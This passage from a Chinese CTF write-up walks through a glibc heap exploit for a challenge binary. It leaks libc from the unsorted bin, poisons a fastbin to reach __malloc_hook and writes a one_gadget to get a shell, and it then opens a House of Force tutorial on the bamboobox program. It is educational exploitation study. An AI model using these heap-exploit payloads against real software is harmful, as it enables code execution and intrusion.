0x555555757090: 0x0000000000000000 0x0000000000000000
.....(省略内容均为空)
0x555555757110: 0x0000000000000000 0x0000000000020ef1 #top_chunk
0x555555757120: 0x0000000000000000 0x0000000000000000
.....(省略内容均为空)
0x555555757180: 0x0000000000000000 0x0000000000000000
pwndbg>

此时的结构体状况:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
0x5fcead98730:	0x0000000000000001	0x0000000000000010
#index0
0x5fcead98740: 0x0000555555757010 0x0000000000000001
#index1(chunk_flag改变)
0x5fcead98750: 0x0000000000000010 0x0000555555757050
#chunk_content_size(改变) #chunk_data_ptr(改变)
0x5fcead98760: 0x0000000000000001 0x0000000000000010
#index2(chunk_flag改变) #chunk_data_size(改变)
0x5fcead98770: 0x0000555555757090 0x0000000000000001
#chunk_data_ptr(改变) #index3
0x5fcead98780: 0x0000000000000010 0x0000555555757070
0x5fcead98790: 0x0000000000000001 0x0000000000000080
#index4
0x5fcead987a0: 0x0000555555757090 0x0000000000000000
0x5fcead987b0: 0x0000000000000000 0x0000000000000000

注意,此时我们有两个地方指向index4:
index4的content指针(程序的正常指向)
index2的content指针 (通过执行payload中malloc之后的指向,参照上方代码框中的结构体)
第二个malloc得到的是index为2的chunk,这与程序中的Allocate函数有关,可以回顾一下前面的IDA代码。
也就是说假如我们现在要fill index2的内容,那么其实上是修改index4的内容。

1-7 修改 index4 的 size 为0x91

1
2
3
4
#为了让index4能够被放到unsortedbin中,要把它的大小改回来
payload = p64(0)*3
payload += p64(0x91)
fill(3, payload)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
pwndbg> x/50gx 0x555555757000
0x555555757000: 0x0000000000000000 0x0000000000000021 #index0
0x555555757010: 0x0000000000000000 0x0000000000000000
0x555555757020: 0x0000000000000000 0x0000000000000021 #index1
0x555555757030: 0x0000000000000000 0x0000000000000000
0x555555757040: 0x0000000000000000 0x0000000000000021 #index2
0x555555757050: 0x0000000000000000 0x0000000000000000
0x555555757060: 0x0000000000000000 0x0000000000000021 #index3
0x555555757070: 0x0000000000000000 0x0000000000000000
0x555555757080: 0x0000000000000000 0x0000000000000091 #index4
0x555555757090: 0x0000000000000000 0x0000000000000000
.....(省略内容均为空)
0x555555757110: 0x0000000000000000 0x0000000000020ef1 #top_chunk
0x555555757120: 0x0000000000000000 0x0000000000000000
.....(省略内容均为空)
0x555555757180: 0x0000000000000000 0x0000000000000000
pwndbg>

程序结构体未发生变化

1-8 申请新堆块 index 5

目的只是为了防止 index4 释放后与 top chunk 合并

1-9 free(index4),index4 放入 unsorted bin 中

1
2
#这时候free就会把index4放到unsorted中了
free(4)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x555555757080
Size: 0x91
fd: 0x00
bk: 0x7ffff7dd1b78

pwndbg> x/60gx 0x555555757000
0x555555757000: 0x0000000000000000 0x0000000000000021 #index0
0x555555757010: 0x0000000000000000 0x0000000000000000
0x555555757020: 0x0000000000000000 0x0000000000000021 #index1
0x555555757030: 0x0000000000000000 0x0000000000000000
0x555555757040: 0x0000000000000000 0x0000000000000021 #index2
0x555555757050: 0x0000000000000000 0x0000000000000000
0x555555757060: 0x0000000000000000 0x0000000000000021 #index3
0x555555757070: 0x0000000000000000 0x0000000000000000
0x555555757080: 0x0000000000000000 0x0000000000000091 #index4(unsortedbin)
0x555555757090: 0x00007ffff7dd1b78 0x00007ffff7dd1b78
.....(省略内容均为空)
0x555555757110: 0x0000000000000000 0x0000000000000090 #index5
.....(省略内容均为空)
0x5555557571a0: 0x0000000000000000 0x0000000000020e61 #top_chunk
.....(省略内容均为空)
0x5555557571d0: 0x0000000000000000 0x0000000000000000
pwndbg>

当unsortedbin里只有一个空闲的chunk时,该chunk的fd和bk指针均指向unsortedbin本身,这个可以参考CTF-wiki中的内容,这里先不细说。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
0x5fcead98730:	0x0000000000000001	0x0000000000000010
#index0
0x5fcead98740: 0x0000555555757010 0x0000000000000001
#index1
0x5fcead98750: 0x0000000000000010 0x0000555555757050
0x5fcead98760: 0x0000000000000001 0x0000000000000010
#index2
0x5fcead98770: 0x0000555555757090 0x0000000000000001
#index3
0x5fcead98780: 0x0000000000000010 0x0000555555757070
0x5fcead98790: 0x0000000000000000 0x0000000000000000
#index4(此处发生了改变)#(此处发生了改变)
0x5fcead987a0: 0x0000000000000000 0x0000000000000001
#(此处发生了改变) #index5
0x5fcead987b0: 0x0000000000000080 0x0000555555757120

1-10 计算libc基址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
-----------------------------------------------------------------------------
还可以直接这样写
libc_base = u64(dump(2)[:8].strip().ljust(8, "\x00"))-0x3c4b78
-----------------------------------------------------------------------------
示例payload的写法:
#因为index2是指向index4的,所以直接把index2给dump一下就能拿到index4中前一部分的内容了
#main_arena与libc偏移为0x3c4b20(附件中有工具)
#再加上main_arena与unsortedbin的偏移,得到unsortedbins与libc的偏移
unsorted_offset_mainarena=unsorted_offset_arena(5)#这函数还不太明白
unsorted_addr=u64(dump(2)[:8].strip().ljust(8, "\x00"))
libc_base=unsorted_addr-0x3c4b20-unsorted_offset_mainarena
log.info("libc_base: "+hex(libc_base))

def unsorted_offset_arena(idx):
word_bytes = context.word_size / 8
offset = 4 # lock
offset += 4 # flags
offset += word_bytes * 10 # offset fastbin
offset += word_bytes * 2 # top,last_remainder
offset += idx * 2 * word_bytes # idx
offset -= word_bytes * 2 # bin overlap
return offset
-----------------------------------------------------------------------------

2. 控制_malloc_hook

2-1 申请 unsorted bin 中的 chunk

1
alloc(0x60)

由于在申请空间之前,之后unsortedbin中有空闲的空间,因此申请空间之后会使用unsortedbin中的chunk。
看一下此时的堆内存:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
pwndbg> x/60gx 0x555555757000
0x555555757000: 0x0000000000000000 0x0000000000000021 #index0
0x555555757010: 0x0000000000000000 0x0000000000000000
0x555555757020: 0x0000000000000000 0x0000000000000021 #index1
0x555555757030: 0x0000000000000000 0x0000000000000000
0x555555757040: 0x0000000000000000 0x0000000000000021 #index2
0x555555757050: 0x0000000000000000 0x0000000000000000
0x555555757060: 0x0000000000000000 0x0000000000000021 #index3
0x555555757070: 0x0000000000000000 0x0000000000000000
0x555555757080: 0x0000000000000000 0x0000000000000071 #index4(由unsortedbin分裂)
.....(省略内容均为空)
0x5555557570f0: 0x0000000000000000 0x0000000000000021 #index5(由unsortedbin分裂)
0x555555757100: 0x00007ffff7dd1b78 0x00007ffff7dd1b78
0x555555757110: 0x0000000000000020 0x0000000000000090 #index6(原index5)
.....(省略内容均为空)
0x5555557571a0: 0x0000000000000000 0x0000000000020e61 #top_chunk
.....(省略内容均为空)
0x5555557571d0: 0x0000000000000000 0x0000000000000000
pwndbg>

从上面的堆情况可以看到,由于是malloc(0x60),而原unsortedbin中的chunk_size过大,因此unsortedbin中的chunk会利用并分裂成两个堆块,其中index5还是存放在unsortedbin中的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all [corrupted]
FD: 0x5555557570f0 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x5555557570f0
BK: 0x5555557570f0 ◂— 0x90
----------------------------------------------------------------------
执行payload前:
unsortedbin
all [corrupted]
FD: 0x555555757080 ◂— 0x0
BK: 0x555555757080 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x555555757080
----------------------------------------------------------------------
smallbins
empty
largebins
empty
pwndbg>

2-2 free(index4)

1
2
3
#index2_content指针还是指向index4_chunk_data
#为了修改之后index4的fd指针,因此我们可以先释放index4
free(4)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x555555757080 ◂— 0x0
0x80: 0x0
unsortedbin (这里显示不准确)
all: 0x0
smallbins
empty
largebins
empty
pwndbg>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x555555757000
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x555555757020
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x555555757040
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x555555757060
Size: 0x71

Allocated chunk | PREV_INUSE
Addr: 0x5555557570d0
Size: 0x21

Allocated chunk
Addr: 0x5555557570f0
Size: 0x90

Allocated chunk | PREV_INUSE
Addr: 0x555555757180
Size: 0x20e61
pwndbg> x/60gx 0x555555757000
0x555555757000: 0x0000000000000000 0x0000000000000021 #index0
0x555555757010: 0x0000000000000000 0x0000000000000000
0x555555757020: 0x0000000000000000 0x0000000000000021 #index1
0x555555757030: 0x0000000000000000 0x0000000000000000
0x555555757040: 0x0000000000000000 0x0000000000000021 #index2
0x555555757050: 0x0000000000000000 0x0000000000000000
0x555555757060: 0x0000000000000000 0x0000000000000021 #index3
0x555555757070: 0x0000000000000000 0x0000000000000000
0x555555757080: 0x0000000000000000 0x0000000000000071 #index4(fastbin)
.....(省略内容均为空)
0x5555557570f0: 0x0000000000000000 0x0000000000000021 #index5(unsortedbin)
0x555555757100: 0x00007ffff7dd1b78 0x00007ffff7dd1b78
0x555555757110: 0x0000000000000020 0x0000000000000090 #index6
.....(省略内容均为空)
0x5555557571a0: 0x0000000000000000 0x0000000000020e61 #top_chunk
.....(省略内容均为空)
0x5555557571d0: 0x0000000000000000 0x0000000000000000
pwndbg>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
0x5fcead98730:  0x0000000000000001  0x0000000000000010
#index0
0x5fcead98740: 0x0000555555757010 0x0000000000000001
#index1
0x5fcead98750: 0x0000000000000010 0x0000555555757050
0x5fcead98760: 0x0000000000000001 0x0000000000000010
#index2
0x5fcead98770: 0x0000555555757090 0x0000000000000001
#index3
0x5fcead98780: 0x0000000000000010 0x0000555555757070
0x5fcead98790: 0x0000000000000000 0x0000000000000000
#index4(此处发生了改变)#(此处发生了改变)
0x5fcead987a0: 0x0000000000000000 0x0000000000000001
#(此处发生了改变) #index6(原index5)
0x5fcead987b0: 0x0000000000000080 0x0000555555757120

2-3 修改index4的fd指针

1
2
3
4
5
#然后修改fd指针,通过index2往index4上写为malloc_hook,这样再次申请的时候会分配到这个地址
#但问题是我们去申请的时候会检查size是不是 fakefd + 8 == 当前fastbin的大小
#这个地址是main_arena-0x40+0xd,具体看后面图片解释
payload = p64(libc_base+0x3c4aed)
fill(2, payload)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
pwndbg> x/60gx 0x555555757000
0x555555757000: 0x0000000000000000 0x0000000000000021 #index0
0x555555757010: 0x0000000000000000 0x0000000000000000
0x555555757020: 0x0000000000000000 0x0000000000000021 #index1
0x555555757030: 0x0000000000000000 0x0000000000000000
0x555555757040: 0x0000000000000000 0x0000000000000021 #index2
0x555555757050: 0x0000000000000000 0x0000000000000000
0x555555757060: 0x0000000000000000 0x0000000000000021 #index3
0x555555757070: 0x0000000000000000 0x0000000000000000
0x555555757080: 0x0000000000000000 0x0000000000000071 #index4(fastbin)
0x555555757090: 0x00007ffff7dd1aed 0x0000000000000000
#更改index4的fd指针
.....(省略内容均为空)
0x5555557570f0: 0x0000000000000000 0x0000000000000021 #index5(unsortedbin)
0x555555757100: 0x00007ffff7dd1b78 0x00007ffff7dd1b78
0x555555757110: 0x0000000000000020 0x0000000000000090 #index6
.....(省略内容均为空)
0x5555557571a0: 0x0000000000000000 0x0000000000020e61 #top_chunk
.....(省略内容均为空)
0x5555557571d0: 0x0000000000000000 0x0000000000000000
pwndbg>
1
2
3
4
5
6
7
8
9
10
pwndbg> x/16gx 0x00007ffff7dd1aed
0x7ffff7dd1aed <_IO_wide_data_0+301>: 0xfff7dd0260000000 0x000000000000007f
0x7ffff7dd1afd: 0xfff7a92ea0000000 0xfff7a92a7000007f
0x7ffff7dd1b0d <__realloc_hook+5>: 0x000000000000007f 0x0000000000000000
0x7ffff7dd1b1d: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b2d <main_arena+13>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b3d <main_arena+29>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b4d <main_arena+45>: 0x5555757080000000 0x0000000000000055
0x7ffff7dd1b5d <main_arena+61>: 0x0000000000000000 0x0000000000000000
pwndbg>

2-4 控制__malloc_hook

1
2
3
#这时候再去申请两个,第一个是给前面free的index4,第二个就会分配到malloc_hook处
alloc(0x60)#index4
alloc(0x60)#index7
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
0x5fcead98730:  0x0000000000000001  0x0000000000000010
#index0
0x5fcead98740: 0x0000555555757010 0x0000000000000001
#index1
0x5fcead98750: 0x0000000000000010 0x0000555555757050
0x5fcead98760: 0x0000000000000001 0x0000000000000010
#index2
0x5fcead98770: 0x0000555555757090 0x0000000000000001
#index3
0x5fcead98780: 0x0000000000000010 0x0000555555757070
0x5fcead98790: 0x0000000000000001 0x0000000000000060
#index4(此处发生了改变)#(此处发生了改变)
0x5fcead987a0: 0x0000555555757090 0x0000000000000001
#(此处发生了改变) #index6(原index5)
0x5fcead987b0: 0x0000000000000080 0x0000555555757120
0x5fcead987c0: 0x0000000000000001 0x0000000000000060
#index7
0x5fcead987d0: 0x00007ffff7dd1afd 0x0000000000000000
pwndbg>

2-5 写入 one_gadget 并 getshell

1
2
3
4
5
6
#然后往malloc_hook上写one_gadget的地址
payload = p8(0)*3
payload += p64(0)*2
payload += p64(libc_base+0x4527a)
fill(6, payload)
gdb.attach(p)

2-6 最后申请一个chunk

1
alloc(0x60)

最后就能get shell 了

House Of Force(控制top_chunk)(基础)

参考资料:
CTF-wiki:https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/house_of_force-zh/
附件下载:
链接: https://pan.baidu.com/s/1NiEZbuBUCFJrMOjqlazPUA 密码: np57
–来自百度网盘超级会员V3的分享
House Of Force是一种堆的利用方法,其主要原理是控制heap中的top_chunk并malloc来达到控制任意内存的空间。

题目来源:HITCON training lab 11
附件:
链接: https://pan.baidu.com/s/1qdOlp9RT_7mxhw_187ugXQ 密码: abtk
–来自百度网盘超级会员V3的分享


Linux环境

老规矩,checksec一下文件先

Snipaste_2023-09-12_17-08-13.png

计算一下 main_arena 距离 libc 的距离

Snipaste_2023-09-12_20-25-47.png

程序源代码(c)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>
struct item {
int size;
char *name;
};

struct item itemlist[100] = {0};

int num;

void hello_message() {
puts("There is a box with magic");
puts("what do you want to do in the box");
}

void goodbye_message() {
puts("See you next time");
puts("Thanks you");
}

struct box {
void (*hello_message)();
void (*goodbye_message)();
};

void menu() {
puts("----------------------------");
puts("Bamboobox Menu");
puts("----------------------------");
puts("1.show the items in the box");
puts("2.add a new item");
puts("3.change the item in the box");
puts("4.remove the item in the box");
puts("5.exit");
puts("----------------------------");
printf("Your choice:");
}

void show_item() {
int i;
if (!num) {
puts("No item in the box");
} else {
for (i = 0; i < 100; i++) {
if (itemlist[i].name) {
printf("%d : %s", i, itemlist[i].name);
}
}
puts("");
}
}

int add_item() {

char sizebuf[8];
int length;
int i;
int size;
if (num < 100) {
printf("Please enter the length of item name:");
read(0, sizebuf, 8);
length = atoi(sizebuf);
if (length == 0) {
puts("invaild length");
return 0;
}
for (i = 0; i < 100; i++) {
if (!itemlist[i].name) {
itemlist[i].size = length;
itemlist[i].name = (char *)malloc(length);
printf("Please enter the name of item:");
size = read(0, itemlist[i].name, length);
itemlist[i].name[size] = '\x00';
num++;
break;
}
}

} else {
puts("the box is full");
}
return 0;
}

void change_item() {

char indexbuf[8];
char lengthbuf[8];
int length;
int index;
int readsize;

if (!num) {
puts("No item in the box");
} else {
printf("Please enter the index of item:");
read(0, indexbuf, 8);
index = atoi(indexbuf);
if (itemlist[index].name) {
printf("Please enter the length of item name:");
read(0, lengthbuf, 8);
length = atoi(lengthbuf);
printf("Please enter the new name of the item:");
readsize = read(0, itemlist[index].name, length);
*(itemlist[index].name + readsize) = '\x00';
} else {
puts("invaild index");
}
}
}
void remove_item() {
char indexbuf[8];
int index;

if (!num) {
puts("No item in the box");
} else {
printf("Please enter the index of item:");
read(0, indexbuf, 8);
index = atoi(indexbuf);
if (itemlist[index].name) {
free(itemlist[index].name);
itemlist[index].name = 0;
itemlist[index].size = 0;
puts("remove successful!!");
num--;
} else {
puts("invaild index");
}
}
}

void magic() {
int fd;
char buffer[100];
fd = open("./flag", O_RDONLY);
read(fd, buffer, sizeof(buffer));
close(fd);
printf("%s", buffer);
exit(0);
}

int main() {

char choicebuf[8];
int choice;
struct box *bamboo;
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
bamboo = malloc(sizeof(struct box));
bamboo->hello_message = hello_message;
bamboo->goodbye_message = goodbye_message;
bamboo->hello_message();

while (1) {
menu();
read(0, choicebuf, 8);
choice = atoi(choicebuf);
switch (choice) {
case 1:
show_item();
break;
case 2:
add_item();
break;
case 3:
change_item();
break;
case 4:
remove_item();
break;
case 5:
bamboo->goodbye_message();
exit(0);
break;
default:
puts("invaild choice!!!");
break;
}
}

return 0;
}

IDA静态分析

main函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
int __cdecl main(int argc, const char **argv, const char **envp)
{
void (**v4)(void); // [rsp+8h] [rbp-18h]
char buf[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v6; // [rsp+18h] [rbp-8h]

v6 = __readfsqword(0x28u);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
v4 = (void (**)(void))malloc(0x10uLL);
*v4 = (void (*)(void))hello_message;
v4[1] = (void (*)(void))goodbye_message;
(*v4)();
while ( 1 )
{
menu();
read(0, buf, 8uLL);
switch ( atoi(buf) )
{
case 1:
show_item();
break;
case 2:
add_item();
break;
case 3:
change_item(buf, buf);
break;
case 4:
remove_item();
break;
case 5:
v4[1]();
exit(0);
default:
puts("invaild choice!!!");
break;
}
}
}

​ main函数其实没有什么好说的,但是值得注意的是程序开头就申请了一片堆空间来存放hello_message和goodbye_message,并在程序开始的时候调用hello_message和在程序结束的时候调用goodbye_message。

meau函数

1
2
3
4
5
6
7
8
9
10
11
12
13
void __cdecl menu()
{
puts("----------------------------");
puts("Bamboobox Menu");
puts("----------------------------");
puts("1.show the items in the box");
puts("2.add a new item");
puts("3.change the item in the box");
puts("4.remove the item in the box");
puts("5.exit");
puts("----------------------------");
printf("Your choice:");
}

这是一个程序的菜单函数,没有什么特别的。

show_item

1
2
3
4
5
6
7
8
9
10
11
12
13
int show_item()
{
int i; // [rsp+Ch] [rbp-4h]

if ( !num )
return puts("No item in the box");
for ( i = 0; i <= 99; ++i )
{
if ( itemlist[i].content )
printf("%d : %s", (unsigned int)i, itemlist[i].content); //老老实实打印堆块的内容
}
return puts(byte_401089);
}

首先判断存放于bss段的全局变量num是否有数据,然后进入循环打印程序各个结构体的内容,没有什么好看的。

add_item

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
__int64 add_item()
{
int i; // [rsp+4h] [rbp-1Ch]
int v2; // [rsp+8h] [rbp-18h]
char buf[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v4; // [rsp+18h] [rbp-8h]

v4 = __readfsqword(0x28u);
if ( num > 99 )
{
puts("the box is full");
}
else
{
printf("Please enter the length of item name:");
read(0, buf, 8uLL);
v2 = atoi(buf); //输入准备输入内容的长度
if ( !v2 )
{
puts("invaild length");
return 0LL;
}
for ( i = 0; i <= 99; ++i )
{
if ( !itemlist[i].content )
{
LODWORD(itemlist[i].size) = v2;
itemlist[i].content = (char *)malloc(v2);
printf("Please enter the name of item:");
itemlist[i].content[(int)read(0, itemlist[i].content, v2)] = 0;
++num;
return 0LL;
} //根据输入的长度,malloc大小,并填充数据
}
}
return 0LL;
}

首先根据num判断是否堆满了,然后根据堆结构体写入数据

根据输入的长度,生成一个堆,然后填入数据,不存在溢出

change_item

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
unsigned __int64 change_item()
{
int v1; // [rsp+4h] [rbp-2Ch]
int v2; // [rsp+8h] [rbp-28h]
char buf[16]; // [rsp+10h] [rbp-20h] BYREF
char nptr[8]; // [rsp+20h] [rbp-10h] BYREF
unsigned __int64 v5; // [rsp+28h] [rbp-8h]

v5 = __readfsqword(0x28u);
if ( num )
{
printf("Please enter the index of item:");
read(0, buf, 8uLL);
v1 = atoi(buf);
if ( itemlist[v1].content )
{
printf("Please enter the length of item name:");
read(0, nptr, 8uLL);
v2 = atoi(nptr);
printf("Please enter the new name of the item:");
itemlist[v1].content[(int)read(0, itemlist[v1].content, v2)] = 0;// //存在堆溢出,输出长度由我们自己决定
}
else
{
puts("invaild index");
}
}
else
{
puts("No item in the box");
}
return __readfsqword(0x28u) ^ v5;
}

又可以往堆中写入内容,这次长度由我们自己决定,存在堆溢出!!!

remove_item

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
unsigned __int64 remove_item()
{
int v1; // [rsp+Ch] [rbp-14h]
char buf[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v3; // [rsp+18h] [rbp-8h]

v3 = __readfsqword(0x28u);
if ( num )
{
printf("Please enter the index of item:");
read(0, buf, 8uLL);
v1 = atoi(buf);
if ( itemlist[v1].content )
{
free(itemlist[v1].content);
itemlist[v1].content = 0LL;
LODWORD(itemlist[v1].size) = 0; // free了且将指针置0,不存在UAF
puts("remove successful!!");
--num;
}
else
{
puts("invaild index");
}
}
else
{
puts("No item in the box");
}
return __readfsqword(0x28u) ^ v3;
}

free(itemlist[v1].content); free(itemlist[index].name);
itemlist[v1].content = 0LL; -> itemlist[index].name = 0;
LODWORD(itemlist[v1].size) = 0; itemlist[index].size = 0;

free 了 堆块,清空指针,不存在uaf

magic

1
2
3
4
5
6
7
8
9
10
11
12
13
void __noreturn magic()
{
int fd; // [rsp+Ch] [rbp-74h]
char buf[104]; // [rsp+10h] [rbp-70h] BYREF
unsigned __int64 v2; // [rsp+78h] [rbp-8h]

v2 = __readfsqword(0x28u);
fd = open("./flag", 0);
read(fd, buf, 0x64uLL);
close(fd);
printf("%s", buf);
exit(0);
}

magic = 0x400D49

目标地址,控制程序执行流到magic函数的位置即可get flag

结构体

1
2
3
4
5
6
00000000 item            struc ; (sizeof=0x10, mappedto_6)
00000000 ; XREF: .bss:itemlist/r
00000000 size dq ?
00000008 content dq ? ; offset
00000010 item ends
00000010

对应c代码的 item 结构体

pwndbg 动态调试

堆内存分布

首先使用gdb动态调试程序,创建两个堆块,然后进入调试模式,详细信息如下面的代码框所示:

  • chunk0:size=10,content=”aaaaa”
  • chunk1:size=20,content=”bbbbb”
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
giantbranch@ubuntu:/mnt/hgfs/PWN题/Range/ctfshow/ctf-pwn-challenges/heap/house-of-force/hitcontrani
ng_lab11$ gdb bamboobox
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.5) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
pwndbg: loaded 175 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from bamboobox...(no debugging symbols found)...done.
pwndbg> r
Starting program: /mnt/hgfs/PWN题/Range/ctfshow/ctf-pwn-challenges/heap/house-of-force/hitcontraning_lab11/bamboobox
There is a box with magic
what do you want to do in the box
----------------------------
Bamboobox Menu
----------------------------
1.show the items in the box
2.add a new item
3.change the item in the box
4.remove the item in the box
5.exit
----------------------------
Your choice:2
Please enter the length of item name:10
Please enter the name of item:aaaaa
----------------------------
Bamboobox Menu
----------------------------
1.show the items in the box
2.add a new item
3.change the item in the box
4.remove the item in the box
5.exit
----------------------------
Your choice:2
Please enter the length of item name:20
Please enter the name of item:bbbbb
----------------------------
Bamboobox Menu
----------------------------
1.show the items in the box
2.add a new item
3.change the item in the box
4.remove the item in the box
5.exit
----------------------------
Your choice:^C
Program received signal SIGINT, Interrupt.
0x00007ffff7b04360 in __read_nocancel () at ../sysdeps/unix/syscall-template.S:84
84 ../sysdeps/unix/syscall-template.S: No such file or directory.
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────
RAX 0xfffffffffffffe00
RBX 0x0
RCX 0x7ffff7b04360 (__read_nocancel+7) ◂— cmp rax, -0xfff
RDX 0x8
RDI 0x0
RSI 0x7fffffffdc40 —▸ 0x7fffffff0a32 ◂— 0x0
R8 0x7ffff7fdd700 ◂— 0x7ffff7fdd700
R9 0xc
R10 0x0
R11 0x246
R12 0x4007a0 (_start) ◂— xor ebp, ebp
R13 0x7fffffffdd30 ◂— 0x1
R14 0x0
R15 0x0
RBP 0x7fffffffdc50 —▸ 0x400ee0 (__libc_csu_init) ◂— push r15
RSP 0x7fffffffdc28 —▸ 0x400e5d (main+166) ◂— lea rax, [rbp - 0x10]
RIP 0x7ffff7b04360 (__read_nocancel+7) ◂— cmp rax, -0xfff
────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────
► 0x7ffff7b04360 <__read_nocancel+7> cmp rax, -0xfff
0x7ffff7b04366 <__read_nocancel+13> jae read+73 <0x7ffff7b04399>

0x7ffff7b04399 <read+73> mov rcx, qword ptr [rip + 0x2ccad8]
0x7ffff7b043a0 <read+80> neg eax
0x7ffff7b043a2 <read+82> mov dword ptr fs:[rcx], eax
0x7ffff7b043a5 <read+85> or rax, 0xffffffffffffffff
0x7ffff7b043a9 <read+89> ret

0x7ffff7b043aa nop word ptr [rax + rax]
0x7ffff7b043b0 <write> cmp dword ptr [rip + 0x2d2389], 0 <0x7ffff7dd6740>
0x7ffff7b043b7 <write+7> jne write+25 <0x7ffff7b043c9>

0x7ffff7b043c9 <write+25> sub rsp, 8
─────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────
00:0000│ rsp 0x7fffffffdc28 —▸ 0x400e5d (main+166) ◂— lea rax, [rbp - 0x10]
01:0008│ 0x7fffffffdc30 ◂— 0x200400ee0
02:0010│ 0x7fffffffdc38 —▸ 0x603010 —▸ 0x400896 (hello_message) ◂— push rbp
03:0018│ rsi 0x7fffffffdc40 —▸ 0x7fffffff0a32 ◂— 0x0
04:0020│ 0x7fffffffdc48 ◂— 0x2b1241ff949c6b00
05:0028│ rbp 0x7fffffffdc50 —▸ 0x400ee0 (__libc_csu_init) ◂— push r15
06:0030│ 0x7fffffffdc58 —▸ 0x7ffff7a2d840 (__libc_start_main+240) ◂— mov edi, eax
07:0038│ 0x7fffffffdc60 ◂— 0x0
───────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────
► f 0 7ffff7b04360 __read_nocancel+7
f 1 400e5d main+166
f 2 7ffff7a2d840 __libc_start_main+240
Program received signal SIGINT
pwndbg>

ok,输入完成,接下来我们查看堆的分布

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x603000
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x603020
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x603040
Size: 0x21

Top chunk | PREV_INUSE
Addr: 0x603060
